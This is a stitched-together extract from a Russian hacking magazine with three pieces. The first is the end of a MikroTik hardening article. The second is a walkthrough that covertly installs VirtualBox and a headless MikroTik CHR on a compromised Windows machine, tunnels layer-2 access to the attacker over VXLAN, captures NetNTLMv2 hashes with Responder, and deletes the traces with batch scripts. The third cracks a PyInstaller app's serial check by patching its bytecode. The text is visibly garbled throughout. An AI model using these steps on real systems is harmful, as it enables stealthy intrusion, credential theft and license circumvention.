[caster@MikroTikDaymare] /ip/service> set address=<MGMT Subnet 
Address/24> <protocol_name> 
 

Од нако даже в адми нис тра тор ской под сети есть веро ятность брут форса,
если один из компь юте ров адми нис тра тора будет заражен тро яном. На этот
слу чай мож но допол нитель но уси лить защиты сле дующим обра зом:

до бавить цепоч ки пра вил для пре дот вра щения брут форса в таб лицы
Mangle/Raw;

•

ис поль зовать толь ко про токол SSH и аутен тифика цию по клю чу;•
сме нить номера пор тов (это, конеч но, не пол ная мера безопас ности,
но может усложнить поиск пор та управле ния обо рудо вани ем);

•

ес ли не исполь зуют ся API/API-SSL, то их луч ше вык лючить, по ним тоже
воз можен брут форс.

•

Çàùèòà ó÷åòíûõ çàïèñåé íà îáîðóäîâàíèè
На сво ем обо рудо вании при дер живай ся кон цепции наимень ших при виле гий,
не раз бра сывай ся full-учет ками на железе и сле ди, у какого инже нера какой
дос туп к обо рудо ванию и какие воз можнос ти для нас трой ки. Так же для опти-
миза ции управле ния учет ками мож но под нять AAA-сер вер, где учет ные
записи будут хра нить ся цен тра лизо ван но и ими лег ко будет управлять.

ÂÛÂÎÄÛ

На этом моя статья под ходит к кон цу. Это не пол ный ману ал по безопас ности
MikroTik, одна ко я ста рал ся акценти ровать вни мание на кри тичес ких механиз- 
мах безопас ности, к которым дол жно быть осо бое отно шение в кор поратив- 
ных сетях. Имен но невер ные нас трой ки безопас ности внут ри сети соз дают
боль шее чис ло проб лем. Полагаю, так про исхо дит из-за халат ности сетевых
инже неров. Оно и понят но: сети, быва ет, не меня ются десяти лети ями, и об
отсутс твии нуж ных нас тро ек прос то забыва ют.

Сис темы RouterOS и Switch OS, которые исполь зуют ся в обо рудо вании
MikroTik, тоже еще далеки от иде ала. В них отсутс тву ют такие механиз мы,
как DAI, RA Guard, SAVI, Port Security. Про дук ты MikroTik очень популяр ны,
одна ко у их раз работ чиков есть еще огромное поле для деятель нос ти.

Ду маю, в бли жай шем будущем я выпущу вто рую часть этой работы, где
раз беру еще боль ше аспектов безопас ности MikroTik.

https://t.me/wearecaster
https://xakep.ru/2023/08/17/antispoofing/
https://wiki.mikrotik.com/wiki/Manual:Interface/Bridge#DHCP_Snooping_and_DHCP_Option_82
https://xakep.ru/2020/05/06/mikrotik-firewall/
https://xakep.ru/2020/06/11/mikrotik-firewall-lvl2/
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Не дав но я нашел новый спо соб орга низа- 
ции L2-тун нелиро вания про тив сетей
Windows. Вдох новив шись иде ей 

, я про демонс три рую пос- 
тэкс плу ата цию Windows с помощью вир- 
туаль ного MikroTik CHR, который поз волит
про вес ти пивотинг и получить L2-дос туп
к целевой сети.

пин гви- 
на-супер шпи она

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

17 июня 2020 года в «Хакере» выш ла статья Андрея Жукова ( )
про инте рес ный спо соб пос тэкс плу ата ции Windows: для даль нейше го прод- 
вижения по сети и перех вата учет ных дан ных внут ри соз дает ся вир туаль ная
машина на Linux. Для дос тижения сво ей цели Андрей исполь зовал VirtualBox
в silent-режиме. Основная идея в том, что бы вир туаль ная машина на Linux
работа ла в режиме мос та, при чем в сам мост на Linux помеща ется
интерфейс, который смот рит в сто рону реаль ной ОС. Так у этой машины
появ ляет ся L2-дос туп, который откры вает воз можнос ти для атак каналь ного
уров ня, таких как ARP-спу финг или LLMNR/NBNS-спу финг. Важ ный момент:
эта тех ника тре бует прав адми нис тра тора на ском про мети рован ной Windows-
машине.

@s0i37

CASTER REMIX

Я вдох новил ся иде ей s0i37, ког да пытал ся най ти новые спо собы L2-тун- 
нелиро вания про тив Windows. Мне приш ла в голову мысль запус тить вир- 
туаль ный роутер MikroTik CHR внут ри реаль ной Windows с помощью
VirtualBox.

CHR (Cloud Hosted Router) — это вир туаль ный мар шру тиза тор MikroTik,
который мож но уста новить с помощью тех нологий вир туали зации. И у него
тоже есть воз можность деп лоя на VirtualBox. Я выб рал имен но его, так
как RouterOS 7 — очень гиб кий и мно гофун кци ональ ный инс тру мент. В нем
есть необ ходимый VXLAN, который работа ет ста биль но. На осно ве идеи
s0i37 я при думал сле дующую кон цепцию:

деп лой CHR внут ри Windows при пос тэкс плу ата ции;•
се тевая нас трой ка CHR в режиме bridge в VBOX;•
соз дание пол ноцен ного L2-тун неля с VXLAN, брид жинг интерфей сов
и получе ние дос тупа.

•

Схе ма иссле дова ния

Этот век тор работа ет кор рек тно толь ко
для реаль ных физичес ких машин, так как при экс- 
плу ата ции вир туаль ных машин могут воз никнуть
проб лемы с про хож дени ем тра фика из-за того,
что на интерфей се ском про мети рован ной вир- 
туал ки может не быть нераз борчи вого режима.

Я пос тро ил дос таточ но неболь шую сеть для демонс тра ции ремик са, но мой
метод может работать из любой точ ки сетевой инфраструк туры, так
как Ethernet-фрей мы в тун неле будут переда вать ся поверх L3-соеди нений
с помощью VXLAN-тун нелиро вания.

CHR DEPLOY

MikroTik CHR мы исполь зуем в качес тве L2-шлю за, но он будет работать
на осно ве VirtualBox. Вот толь ко VirtualBox нуж но каким-то обра зом уста- 
новить на целевой хост, а при этом не всег да есть воз можность обес печить
себя гра фичес кой обо лоч кой. Я пре дус мотрел этот сце нарий и нашел спо соб
«тихой» уста нов ки VirtualBox, а так же спо соб орга низа ции вир туаль ной
машины.

Са ма VirtualBox в silent-режиме уста нав лива ется таким обра зом (я исполь- 
зую вер сию 7.0.8):

C:\remix>VirtualBox-7.0.8-156879-Win.exe -s

Те перь соз даем вир туаль ную машину CHR. Если нет GUI, это мож но сде лать
с помощью . Сама вер сия CHR — 7.10.2.VBoxManage.exe

Я при гото вил спе циаль ный bat-файл для авто мати зации про цес са. Про шу
заметить, что я исполь зую образ дис ка VDI, который буду под клю чать к соз- 
данной вир туаль ной машине. Обра зы VDI обыч но ска чива ются с офи циаль- 
ного сай та MikroTik.

Я все нас тра иваю так, что бы машина работа ла в режиме мос та с нераз- 
борчи вым режимом. При нас трой ке сети тебе понадо бит ся уста новить точ- 
ное имя интерфей са в ОС, но его лег ко узнать с помощью коман ды 

 в обо лоч ке PowerShell.
Get-

NetAdapter

C:\remix>remix.bat 

remix.bat
@echo off 

set VMNAME=CasterRemix 
512 set VMMEMORY=

2 set VMCPUS=
C: emixset VMDISK= \r \chr-7.10.2.vdi 

set VMNIC1=bridged 
set VMADAPTER1="Intel(R) Wi-Fi 6 AX201 160MHz"
set VMPROMISC1=allow-all 

 
 

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" createvm --name
"%VMNAME%" --register

 
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm 
"%VMNAME%" --memory %VMMEMORY% --cpus %VMCPUS% 

   
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" storagectl 
"%VMNAME%" --name "SATA Controller" --add sata --controller IntelAHCI 

    0  0  
hdd  

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" storageattach 
"%VMNAME%" --storagectl "SATA Controller" --port --device --type

--medium "%VMDISK%"

 
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm 
"%VMNAME%" --nic1 %VMNIC1% 

 
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm 
"%VMNAME%" --bridgeadapter1 %VMADAPTER1% 

 
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm 
"%VMNAME%" --nicpromisc1 %VMPROMISC1% 

 
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" startvm 
"%VMNAME%" --type headless 

Па раметр  ука зыва ет на то, что вир туаль ная машина запус тится

в тихом режиме, что бы не прив лечь лиш нее вни мание поль зовате ля.

--headless

Пос ле запус ка CHR мар шру тиза тор получит адрес авто мати чес ки, так
как это заложе но в его кон фигура ции по умол чанию. Но нам необ ходимо най- 
ти сам адрес мар шру тиза тора. Это мож но сде лать, нап ример, с помощью
клас сичес кого ска ниро вания пор тов TCP/22, TCP/8291 в сети 192.168.1.0/24,
где запущен сам CHR в брид же. В моем слу чае адрес — 192.168.1.36.

Те перь под клю чим ся к панели управле ния CHR (нап ример, по SSH
или Winbox) и сде лаем началь ную нас трой ку. Нам понадо бить ся

вык лючить про токо лы обна руже ния соседей (Discovery Protocols);•
вык лючить про токо лы STP, что бы не нарушить работу легитим ного дерева
STP;

•

за дать имя сис темы в CHR (hostname);•
соз дать спе циаль ный бридж, перемес тить туда интерфейс, нас тро ить
работу  для сох ранения связ ности с CHR. Ког да
интерфейс помеща ется в бридж, он под чиня ется брид жу, и для даль- 
нейшей свя зи адрес нужен имен но на брид же. Нес мотря на изме нение
нас трой ки , адрес CHR оста нет ся таким же.

•
/ip/dhcp-client

/ip/dhcp-client

[admin@MikroTik] > /interface/bridge/add name=bridge1;
none 0/interface/bridge/set protocol-mode= numbers= ;

/interface/bridge/port add interface=ether1 bridge=bridge1;
/ip dhcp-client/remove 0;
/ip/dhcp-client/add interface=bridge;

none/ip/neighbor/discovery-settings/set discover-interface-list= ;
/system/identity/set name=CasterRemix 

[admin@CasterRemix] >

Так же важ но, что все это нуж но сде лать одной коман дой, ина че нав сегда уте- 
ряешь дос туп к CHR на уров не сети и при дет ся начинать заново.

VXLAN-ÒÓÍÍÅËÈÐÎÂÀÍÈÅ

В качес тве про токо ла тун нелиро вания я выб рал VXLAN. Он поз воля ет переда- 
вать L2-фрей мы поверх про токо ла UDP (порт по умол чанию UDP/4789), то
есть пре дос тавля ет воз можность орга низо вать L2-тун нель меж ду ата кующей
сис темой и CHR.

На ша цель — сеть 192.168.1.0/24, к которой получим L2-дос туп.

Ла бора тор ная сеть

Меж ду ата кующим и MikroTik будет соз дан тун нель VXLAN, при чем они будут
устрой ства ми VTEP и ста нут работать в режиме точ ка — точ ка (point-to-point),
без объ явле ний MCAST. VTEP (Virtual Tunnel Endpoint) — устрой ства,
на которых стро ится и тер миниру ется тун нель VXLAN, они занима ются
инкапсу ляци ей и деин капсу ляци ей VXLAN-заголов ков.

При мер инкапсу лиро ван ной с помощью VXLAN полез ной наг рузки

Важ но, что бы перед нас трой кой был явный мар шрут  до CHR через шлюз,

с которым будет ини цииро ван тун нель. Ина че соз данный тун нель может
перек рыть дос тижимость до CHR, что вызовет раз рыв тун неля. Мар шрут соз- 
дает ся через шлюз по умол чанию для ата кующе го (в слу чае дан ной лабора- 
тор ной сети — 172.10.200.254).

/32

caster@kali:~$ sudo ip route add 192.168.1.36/32 via 172.10.200.254 

На сто роне ата кующе го тун нель VXLAN будет пос тро ен меж ду адре- 
сами 172.10.200.252 и 192.168.1.36 (Attacker → CHR), иден тифика тор тун- 
неля (VNI) — 10.

ip 10 caster@kali:~$ sudo link add name evilvxlan type vxlan id 
local 172.10.200.252 remote 192.168.1.36 dstport 4789 

ip caster@kali:~$ sudo link set evilvxlan up 

На сто роне CHR (RouterOS v7) тоже необ ходимо, что бы соз данный
интерфейс VXLAN на CHR был помещен в бридж, где находит ся интерфейс,
смот рящий в сто рону реаль ной ОС ( ), так как CHR на уров не VirtualBox

находит ся в режиме мос та.

ether1

4789 
10 
[admin@CasterRemix] > /interface/vxlan add name=vxlan1 port= vni=

4789 
[admin@CasterRemix] > /interface/vxlan/vteps interface=vxlan1 remote-
ip=172.10.200.252 port=

0 
[admin@CasterRemix] > /interface/bridge/port add interface=vxlan1 
numbers=

Кар та VXLAN-тун нелиро вания

Пос ле при мене ния этой кон фигура ции тун нель VXLAN будет пос тро ен сог- 
ласно схе ме выше.

Связь ата кующе го с целевой сетью по L2

ÀÒÀÊÀ

Те перь ата кующий дол жен получить адрес на интерфей се evilvxlan, и L2-дос- 
туп будет обес печен! Откры вают ся воз можнос ти для атак каналь ного уров ня.
Так же по DHCP может при лететь вто рой шлюз, задан ный по умол чанию, что
разор вет тун нель. Так что будь осто рожен. Я, что бы избе жать этой проб лемы,
исполь зую коман ду .sudo route del default

 caster@kali:~@ sudo dhclient -v evilvxlan; sudo route del default 
caster@kali:~@ sudo responder -I evilvxlan -vvv

Ни же — при мер отра ботав шей внут ри VXLAN-тун неля ути литы responder
и отравле ние зап росов LLMNR/NBNS/MDNS.

NetNTLMv2-SSP-хеш поль зовате ля darkstep

ÇÀ×ÈÑÒÊÀ

Ког да понадо бит ся затереть сле ды, необ ходимо вык лючить и уда лить соз- 
данную вир туал ку с MikroTik CHR. Так же нуж но уда лить саму VirtualBox. Естес- 
твен но, в silent-режиме.

delete-remix.bat
@echo off 

set VMNAME=CasterRemix 

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" controlvm 
"%VMNAME%" poweroff 

 
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" unregistervm 
"%VMNAME%" --delete
wmic product where name="Oracle VM VirtualBox 7.0.8" call uninstall /
nointeractive 

emix rmdir /s /q c:\r

ÂÛÂÎÄÛ

Итак, я про демонс три ровал тех нику L2-тун нелиро вания про тив машин
Windows. Метод спе цифи чес кий, но, на мой взгляд, впол не прак тичный.

Эту статью я хочу пос вятить ушед шему из жиз ни Киту Флин ту, фрон тме ну
груп пы The Prodigy, которая выпус тила пес ню .Omen

Эта пес ня была для меня вдох новени ем по ходу работы и даже немало пов- 
лияла на ее стиль.

https://t.me/wearecaster
https://xakep.ru/2020/06/17/windows-mitm/
https://xakep.ru/author/s0i37/
https://youtu.be/xMVTKOoy1uk


ВСКРЫВАЕМ И ПОТРОШИМ
PYINSTALLER

МВК

ВЗЛОМ

Че лове чес тво породи ло целый зоопарк
скрип товых язы ков с низ ким порогом вхож- 
дения в попыт ке облегчить всем жела ющим
«вка тыва ние в айти» сра зу пос ле окон чания
месяч ных кур сов. Есть мне ние, что в этом
зоопар ке царем зве рей сей час работа ет
Python. Эта пол зучая реп тилия так силь но
опу тала сво ими коль цами IT, что даже ней- 
росеть без ее учас тия теперь ничему
не обу чить. А раз так, нас тало вре мя пре- 
пари ровать это го аспи да и пос мотреть, что
у него внут ри. Нач нем с тех нологии
под наз вани ем PyInstaller.

Статья написа на в иссле дова тель ских целях, име- 
ет озна коми тель ный харак тер и пред назна чена
для спе циалис тов по безопас ности. Автор
и редак ция не несут ответс твен ности за любой
вред, при чинен ный с при мене нием изло жен ной
информа ции. Исполь зование или рас простра- 
нение ПО без лицен зии про изво дите ля может
прес ледовать ся по закону.

В качес тве при мера возь мем некое гра фичес кое при ложе ние, для регис тра- 
ции которо го нуж но ввес ти пра виль ный серий ник в ответ на пред ложен ный
прог раммой код обо рудо вания. При неп равиль ном вво де при ложе ние отве- 
чает ругатель ным сооб щени ем «No valid license code». Detect It Easy уве рен но
под ска зыва ет, что это наш паци ент.

Ис сле дова ние при ложе ния мы начина ем по стан дар тной схе ме. Поиск
сопутс тву ющих тек сто вых строк в exe-фай ле не дает резуль тата: исполня- 
емый код и дан ные явно упа кова ны или зак рипто ваны. Заг рузка при ложе ния
в IDA кос венно это под твержда ет, exe-файл пред став ляет собой заг рузчик
для обширно го саморас паковы вающе гося фай лового пакета.

Поп робу ем заг рузить прог рамму в наш любимый отладчик x64dbg.
По счастью, при ложе ние совер шенно не соп ротив ляет ся это му, нор маль но
заг ружа ется и пре рыва ется по пер вому тре бова нию. Слег ка поп рыгав по коду
трас сиров щиком, сра зу натыка емся на учас ток, силь но сма хива ющий
на интер пре татор шитого пи-кода:

07FF9AE401274 | 49:8BC7             | mov rax,r15 
07FF9AE401277 | 49:2BC1             | sub rax,r9 
07FF9AE40127A | 48:D1F8             | sar rax,1 
07FF9AE40127D | 03C0                | add eax,eax 
07FF9AE40127F | 41:8945 68          | mov dword ptr ds:[r13+68],eax 
07FF9AE401283 | 837A 44 00          | cmp dword ptr ds:[rdx+44],0 
07FF9AE401287 | 0F85 85A71200       | jne python39.7FF9AE52BA12 
07FF9AE40128D ; edi — байт-код текущей команды 
07FF9AE40128D | 41:0FB73F           | movzx edi,word ptr ds:[r15] 
07FF9AE401291 | 4D:8BF4             | mov r14,r12 
07FF9AE401294 | 40:0FB6F7           | movzx esi,dil 
07FF9AE401298 | C1EF 08             | shr edi,8 
07FF9AE40129B | 49:83C7 02          | add r15,2 
07FF9AE40129F | 4C:8965 C8          | mov qword ptr ss:[rbp-38],r12 
07FF9AE4012A3 | 4C:897D B0          | mov qword ptr ss:[rbp-50],r15 
07FF9AE4012A7 | 66:0F1F8400 00000000| nop word ptr ds:[rax+rax],ax 
07FF9AE4012B0 | 8D46 FF             | lea eax,qword ptr ds:[rsi-1] 
07FF9AE4012B3 | 3D A4000000         | cmp eax,A4 
07FF9AE4012B8 | 0F87 85E21200       | ja python39.7FF9AE52F543 
07FF9AE4012BE | 48:98               | cdqe 
07FF9AE4012C0 ; В rcx — относительный адрес обработчика 
07FF9AE4012C0 ; текущей команды 
07FF9AE4012C0 | 41:8B8C83 D8C80600  | mov ecx,dword ptr 
ds:[r11+rax*4+6C8D8] 
07FF9AE4012C8 | 49:03CB             | add rcx,r11 
07FF9AE4012CB ; Переход на обработчик текущей команды 
07FF9AE4012CB | FFE1                | jmp rcx 
07FF9AE4012CD | 48:63D7             | movsxd rdx,edi 
07FF9AE4012D0 | 49:8B84D5 68010000  | mov rax,qword ptr 
ds:[r13+rdx*8+168] 
07FF9AE4012D8 | 48:85C0             | test rax,rax 
07FF9AE4012DB | 0F84 B3E01200       | je python39.7FF9AE52F394 
07FF9AE4012E1 | 48:FF00             | inc qword ptr ds:[rax] 
07FF9AE4012E4 | 48:8B55 90          | mov rdx,qword ptr ss:[rbp-70] 
07FF9AE4012E8 | 49:890424           | mov qword ptr ds:[r12],rax 
07FF9AE4012EC | 49:83C4 08          | add r12,8 

Как видим, таб лица обра бот чиков команд находит ся по адре су , а ука- 

затель на PC текущей коман ды — в регис тре .

6C8D8
R15

На этом мес те отло жим пока отладчик в сто рону и вспом ним теорию.
Но сна чала, что бы не забыть, зафик сиру ем один инте рес ный момент: боль- 
шинс тво динами чес ких биб лиотек, на которые име ются ссыл ки на вклад ке
«Отла доч ные модули», физичес ки находят ся в под папке  сис- 

темной пап ки для вре мен ных фай лов. Судя по все му, это и есть каталог (или
один из катало гов), в который сбор ка рас паковы вает ся на вре мя работы при- 
ложе ния.

\_MEI100722

Что бы луч ше понимать воп рос, давай для начала вспом ним, что это за
зверь такой — Python. Думаю, не оши бусь, если пред положу, что мно гие зна- 
ют его как язык для написа ния прос тень ких сце нари ев, вро де JavaScript,
отли чающий ся нес коль ко экс тра ваган тной кон цепци ей выделе ния бло ков
кода отсту пами. Про ект соз дан и раз вивал ся в луч ших тра дици ях чер ного
англий ско го юмо ра (как извес тно, само наз вание — это отсылка к сатири чес- 
кому бри тан ско му телешоу). В ходе этой эво люции узкоспе циали зиро ван ный
скрип товый язык получил мно жес тво раз нооб разных биб лиотек, как в свое
вре мя это про изош ло с фор тра ном.

Как извес тно, спрос рож дает пред ложение, поэто му, что бы раз работ- 
чикам было лег че соз давать пол ноцен ные ком мерчес кие при ложе ния в рам- 
ках при выч ной кон цепции Python, были при дума ны ком пилято ры самых раз- 
нооб разных реали заций. Кто-то попытал ся сде лать натив ный ком пилятор,
дру гие прик рутили к Python JIT (ком пиляцию вре мени исполне ния, я рас ска- 
зывал про эту кон цепцию в сво их ).пре дыду щих стать ях

Со ответс твен но, были соз даны про екты Jython (тран сля ция в байт-код
JVM) и IronPython (тран сля ция в .NET IL). Но, к сожале нию, как ты мог убе дить- 
ся из при веден ного выше фраг мента кода интер пре тато ра, эта лон ная реали- 
зация лишена полез ных свой ств — перед нами обыч ная интер пре тация py-
кода, не отли чающаяся высокой опти миза цией.

Под робнее про раз личные методы ком пиляции питонов ско го кода
в исполня емые при ложе ния мож но почитать, нап ример, . В этой
статье упо мяну та сбор ка при ложе ния с помощью иссле дуемо го нами

 и раз борка его на сос тавля ющие фай лы про екта с исполь зовани ем
.

на «Хаб ре»

PyInstaller
PyInstaller Extractor

Хо тя лич но я для извле чения фай лов из про екта посове товал бы более
прод винутый инс тру мент — . Разуме ется, он тоже не все могущ
и ему при сущи опре делен ные недос татки. К при меру, у меня он нор маль но
запус кает ся толь ко на вер сии питона 3.9, но вооб ще, надо ска зать, проб лема
сов мести мос ти кода даже меж ду сосед ними под верси ями — обыч ная и даже
не самая глав ная проб лема это го язы ка. В общем, дос таточ но лирики, вер- 
немся к суровым тех ничес ким под робнос тям эта лон ной реали зации.

pydumpck

Ми нималь ной еди ницей ском пилиро ван ного питонов ско го байт-кода
явля ется файл  (есть еще фай лы , ском пилиро ван ные с опти миза- 
цией, но их мы тро гать не будем). Этот файл генери рует ся из тек сто вого
скрип тового кода вызовом метода  или прос то

при вызове дирек тивы  во вре мя исполне ния скрип та, что бы не ком- 
пилиро вать импорти руемый модуль лиш ний раз. Подоб ным обра зом раз- 
работ чики попыта лись ком пенси ровать отсутс тву ющий в эта лон ной реали- 
зации JIT. Этот файл содер жит в себе байт-код ском пилиро ван ного модуля,
кон стан ты, ссыл ки и так далее. Фор мат его зависит от вер сии Python, офи- 
циаль но не докумен тирован, одна ко хорошо опи сан в интерне те, нап ример

. В этой же статье при веден и текст прос тей шего
дизас сем бле ра , написан ного на питоне:

.pyc .pyo

py_compile.compile
import

на сай те Nedbatchelder
pyc

      import dis, marshal, struct, sys, time, types

 def show_file(fname):
      f = open(fname, "rb")
     magic = f.read(4)
     moddate = f.read(4)
      modtime = time.asctime(time.localtime(struct.unpack('L', moddate)
[0]))
      print "magic %s" % (magic.encode('hex'))
       print "moddate %s (%s)" % (moddate.encode('hex'), modtime)
     code = marshal.load(f)
   show_code(code)

  def show_code(code, indent=''):
      print "%scode" % indent
     indent += '   '
       print "%sargcount %d" % (indent, code.co_argcount)
       print "%snlocals %d" % (indent, code.co_nlocals)
       print "%sstacksize %d" % (indent, code.co_stacksize)
       print "%sflags %04x" % (indent, code.co_flags)
     show_hex("code", code.co_code, indent=indent)
   dis.disassemble(code)
      print "%sconsts" % indent
      for const in code.co_consts:

          if type(const) == types.CodeType:
            show_code(const, indent+'   ')

       else:
               print "   %s%r" % (indent, const)

       print "%snames %r" % (indent, code.co_names)
       print "%svarnames %r" % (indent, code.co_varnames)
       print "%sfreevars %r" % (indent, code.co_freevars)
       print "%scellvars %r" % (indent, code.co_cellvars)
       print "%sfilename %r" % (indent, code.co_filename)
       print "%sname %r" % (indent, code.co_name)
       print "%sfirstlineno %d" % (indent, code.co_firstlineno)
     show_hex("lnotab", code.co_lnotab, indent=indent)

   def show_hex(label, h, indent):
     h = h.encode('hex')
      if len(h) < 60:

            print "%s%s %s" % (indent, label, h)
   else:

           print "%s%s" % (indent, label)
            for i in range(0, len(h), 60):

               print "%s   %s" % (indent, h[i:i+60])

show_file(sys.argv[1])

Как видишь, дизас сем бли рова ние байт-кода pyc-фай лов осо бой проб лемы
не пред став ляет, мож но исполь зовать, к при меру, самый рас простра нен ный
питонов ский . Есть даже спе циали зиро ван ная под клю- 
чаемая питонов ская биб лиоте ка , соз данная исклю читель но для дизас- 

сем бли рова ния. Сис тема команд тоже хоть и зависи ма от вер сии и офи- 
циаль но не докумен тирова на, но прос та и обще дос тупна. Ее опи сание 

.

ди зас сем блер pydasm
dis

так же
мож но най ти в сети

А вот с деком пиляци ей  в исходный питонов ский код дело обсто ит
грус тно. Нес мотря на кажуще еся оби лие деком пилято ров (самые рас- 
простра нен ные — это  и ), на текущий момент в паб- 
лике нет абсо лют но кор рек тных деком пилято ров для вер сий стар ше 3.8,
не говоря уже про обфуска цию. Поэто му спе шу огор чить иска телей вол- 
шебной кноп ки — деком пилиро ван ный код даже вер сии 3.9 тре бует силь ного
допили вания напиль ником.

pyc

python-decompile3 pycdc

Про дол жаем увле катель ную экскур сию по фай лам питонов ско го пакета.
Ког да в отладчи ке мы бег ло прос матри вали спи сок импорти руемых биб- 
лиотек, рас пакован ных во вре мен ный каталог сис темы, то обра тили вни- 
мание на модули с рас ширени ем . Это бинар ные натив ные биб лиоте ки,
под клю чаемые к питонов ско му интер пре тато ру. Как видишь, это клас сичес- 
кие динами чес кие биб лиоте ки Windows фор мата DLL с единс твен ной экспор- 
тиру емой фун кци ей. В этой статье мы пока не будем заос трять вни мание
на защитах, интегри рован ных в подоб ные натив ные рас ширения, при мер соз- 
дания которых .

pyd

уже опи сывал ся в раз личных пуб ликаци ях
Не будем силь но углублять ся в тему, рас смот рим толь ко еще один клю- 

чевой фор мат фай лов с неп рилич ным рас ширени ем . Это питонов ский

архив, поз воля ющий соб рать нес коль ко модулей, клас сов и про чих сос тавля- 
ющих про екта в одну сбор ку. Эда кий «архив в архи ве» внут ри исполня емой
сбор ки PyInstaller.

.pyz

Все это очень осложня ет поиск по вхож дению стро ки нуж ного модуля
в рас пакован ной сбор ке PyInstaller. По счастью, это чудо враж дебной тех ники
лег ко рас паковы вает ся на собс твен ные сос тавля ющие при помощи упо мяну- 
той выше ути литы pydumpck и собира ется обратно (в слу чае пат ча, нап ример)
встро енной ути литой .zipapp

Ну а теперь, воору жив шись получен ными зна ниями, поп робу ем при менить
их на прак тике для лечения нашего при ложе ния. Для начала акку рат но рас- 
паку ем его при помощи pydumpck (бла го у нас исполь зует ся вер сия Python
3.9). Надо отме тить, это прак тичес ки уни вер саль ный инс тру мент — рас- 
паковы вает и исполня емый exe-модуль PyInstaller, и содер жащи еся в нем
питонов ские архи вы , и даже деком пилиру ет рас пакован ные pyc-фай лы

в исходный код.

pyz

Для деком пиляции в него встро ено два пла гина — упо минав шиеся
uncompyle6 и pycdc. По умол чанию исполь зует ся pycdc, и он в целом справ- 
ляет ся с пос тавлен ной задачей, а вот пла гин uncompyle6 у меня так и не
получи лось зас тавить работать на вер сии 3.9.

Те перь берем WinHex и ищем тек сто вую стро ку 

по получен ному мно жес тву фай лов. Нам повез ло: у нас прос тей ший слу чай,
и иско мая стро ка обна ружи вает ся сра зу и в , и в авто мати чес ки деком- 
пилиро ван ном из него py-фай ле. Откры ваем вос ста нов ленный деком пилято- 
ром py-файл. К сожале нию, мы убеж даем ся, что вер сия 3.9 для деком пилято- 
ра pycdc нерод ная, он явно стра дает нес варени ем кода: этот самый код вос- 
ста нов лен не пол ностью. Пов сюду вид ны пре дуп режде ния о неиз вес тных
инс трук циях и ошиб ках деком пиляции, пов торно ком пилиро вать такой
исходник нель зя. Тем не менее нам повез ло — иско мое мес то с про вер кой
и выдачей стро ки в фай ле при сутс тву ет:

no valid license code

pyc

...
 def validate_serial(self):

     if not utils.validate_serial():
 

   
       self.logger.log('no valid license code for the popup code: '
+ utils.get_hardware_code() + '\n')

        return False
…

Поп робу ем теперь дизас сем бли ровать этот файл при помощи pycdasm.
Понача лу он руга ется на отсутс твие сиг натуры, но это не страш но, дос таточ но
руками прик леить ее (в нашем слу чае это 8 байт

) в начало фай ла, нап ример
при помощи WinHex.
610D0D0A000000000000000000000000

На ходим соот ветс тву ющее мес то в дизас сем бли рован ном коде:

... 
[Disassembly] 
0       LOAD_GLOBAL        0: utils 
2       LOAD_METHOD        1: validate_serial 
4       CALL_METHOD        0 
6       POP_JUMP_IF_TRUE   36 
8       LOAD_FAST          0: self 
10      LOAD_ATTR          2: logger 
12      LOAD_METHOD        3: log 
14      LOAD_CONST         1: 'no valid license code for the popup 
code: '
16      LOAD_GLOBAL        0: utils 
18      LOAD_METHOD        4: get_hardware_code 
20      CALL_METHOD        0 
22      BINARY_ADD 
24      LOAD_CONST         2: '\n'
26      BINARY_ADD 
28      CALL_METHOD        1 
30      POP_TOP 
32      LOAD_CONST         3: False 
34      RETURN_VALUE 
36      LOAD_CONST         4: True 
… 

За про вер ку усло вия и условный переход по нему отве чает инс трук ция
. Конеч но, мож но было бы поп равить ее на безус ловный

переход, одна ко тог да при дет ся как-то сба лан сировать стек, потому что нет
такой коман ды, которая одновре мен но сни мала бы со сте ка зна чение и осу- 
щест вля ла переход. Вдо бавок не факт, что серий ник не про веря ется где-то
в дру гом мес те. Пра виль нее будет най ти и поп равить метод 

. Для это го находим модуль  и деком пилиру ем его:

POP_JUMP_IF_TRUE

utils.
validate_serial() utils

…
 def validate_serial():

     stored_serial = get_data_file().strip()
     hardware_code = get_hardware_code()
          if hardware_code == '' or stored_serial != get_serial(
hardware_code):

        return False
…

Или в виде байт-кода:

[Disassembly] 
0       LOAD_GLOBAL         0: get_data_file 
2       CALL_FUNCTION       0
4       LOAD_METHOD         1: strip 
6       CALL_METHOD         0
8       STORE_FAST          0: stored_serial 
10      LOAD_GLOBAL         2: strip 
12      CALL_FUNCTION       0
14      STORE_FAST          1: hardware_code 
16      LOAD_FAST           1: hardware_code 
18      LOAD_CONST          1: ''
20      COMPARE_OP          2 (==)
22      POP_JUMP_IF_TRUE    36 
24      LOAD_FAST           0: stored_serial 
26      LOAD_GLOBAL         3: NULL + strip 
28      LOAD_FAST           1: hardware_code 
30      CALL_FUNCTION       1
32      COMPARE_OP          3 (!=)
34      POP_JUMP_IF_FALSE   40 
36      LOAD_CONST          2: False 
38      RETURN_VALUE 
40      LOAD_CONST          3: True 
42      RETURN_VALUE 

Как видишь, тут дос таточ но заменить коман ду по сме щению 
 коман дой , и метод

 всег да будет воз вра щать . Что бы убе дить ся в этом,

для начала поп равим байт-код пря мо в отладчи ке.

36 LOAD_CONST 
2:False (64 02) LOAD_CONST 3: True (64 03)
validate_serial() True

Жмем кноп ку Activate — бин го, прог рамма при нима ет любой код! Теперь нам
оста ется толь ко поп равить байт-код в соот ветс тву ющем pyc-модуле и акку- 
рат но пересоб рать экзешник с помощью PyInstaller.

На пер вый взгляд может показать ся, что взлом подоб ных при ложе ний —
это не прос то, а очень прос то. Одна ко я наде юсь, ты понима ешь, что в этой
